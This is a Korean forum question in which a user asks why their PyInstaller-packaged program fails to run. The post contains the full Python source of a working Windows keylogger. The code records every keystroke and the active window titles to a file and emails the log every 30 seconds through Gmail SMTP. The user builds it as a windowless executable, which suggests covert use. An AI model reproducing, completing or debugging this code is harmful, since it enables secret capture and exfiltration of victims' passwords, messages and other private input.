[pyinstaller] path 설정도 했는데 오류가 뜹니다 (failed to execute script)

조회수 1827회
import os
import getpass
import ctypes
import smtplib
import time
from datetime import datetime
from threading import Thread
from pynput.keyboard import Key, Listener

절대경로 설정(pyinstaller 사용시)

def resource_path(relative_path):
    try:
        # PyInstaller에 의해 임시폴더에서 실행될 경우 임시폴더로 접근하는 함수
        base_path = sys._MEIPASS
    except Exception:
        base_path = os.path.abspath(".")
    return os.path.join(base_path, relative_path)

FILEMANAGER

username = getpass.getuser()
now = datetime.now()
now = str(now).split()[0]

basic = open(resource_path('data.txt'), mode="at", encoding="utf-8")
basic.write(username + "/" + now + "\n")
basic.close()

WINMANAGER

def gettitle():
    lib = ctypes.windll.LoadLibrary('user32.dll')
    handle = lib.GetForegroundWindow()    # 활성화된 윈도우의 핸들얻음
    buffer = ctypes.create_unicode_buffer(255)    # 타이틀을 저장할 버퍼
    lib.GetWindowTextW(handle, buffer, ctypes.sizeof(buffer))    # 버퍼에 타이틀 저장

    return buffer.value # buffer return

윈도우 타이틀 감지 함수

def wintitle():
    oldtitle = gettitle()
    while True:
        time.sleep(0.1)
        if gettitle() != oldtitle:
            logger("\n" + "///" + gettitle() + "///" + "\n")
        oldtitle = gettitle()

KEYLOGGING

감지한 키 로깅

def logger(key):
    key = str(key).replace("'", "")
    f = open(resource_path('data.txt'), mode="at", encoding="utf-8")
    f.write(key + "\n")
    f.close()

키 입력 감지 함수

def on_press(key):
    logger(key)
    print(key)    

MAILMANAGER

def main2():

    sender = 'xxx@gmail.com' # 발신자 이메일
    receiver  = 'xxx@gmail.com' # 수신자 이메일 (자기 자신에게 전송할것이기때문에 동일함)
    username = 'xxx@gmail.com' # 자신의 구글 계정 아이디
    password = 'xxx' # 자신의 구글 계정 패스워드

    log = open(resource_path('data.txt'), mode='r', encoding='utf-8').read().encode()

    server = smtplib.SMTP('smtp.gmail.com:587')
    server.starttls()
    server.login(username,password)
    server.sendmail(sender, receiver, log)
    server.quit()

if __name__ == "__main__":
    main2()

메일 보내는 시간 설정

def FSC():
    while True:
        time.sleep(30)
        print("TIME PASS")
        main2()

메인 함수

def main():         
    with Listener(on_press=on_press) as listener:
        listener.join()

쓰레딩

mainThread = Thread(target=main)
titleThread = Thread(target=wintitle)
FSCThread = Thread(target=FSC)

mainThread.start()
titleThread.start()
FSCThread.start()

VSCode 내에서 실행하면 잘만 돌아갑니다. 하지만 exe로 변환시키면서 문제가 발생하네요.

terminal에 pyinstaller -w --add-data 'data.txt;.' keylogger.py 를 실행시켜 다음 사진과 같은 결과를 얻었습니다. 이미지

보시다시피 data파일이 문제없이 파일 안에 존재합니다. 그런데 keylogger.exe를 실행시키면 failed to execute script라고 뜨네요.
경로설정에는 더이상 문제가 없는 것 같은데

1 답변

답변을 하려면 로그인이 필요합니다.

프로그래머스 커뮤니티는 개발자들을 위한 Q&A 서비스입니다. 로그인해야 답변을 작성하실 수 있습니다.

(ಠ_ಠ)
(ಠ‿ಠ)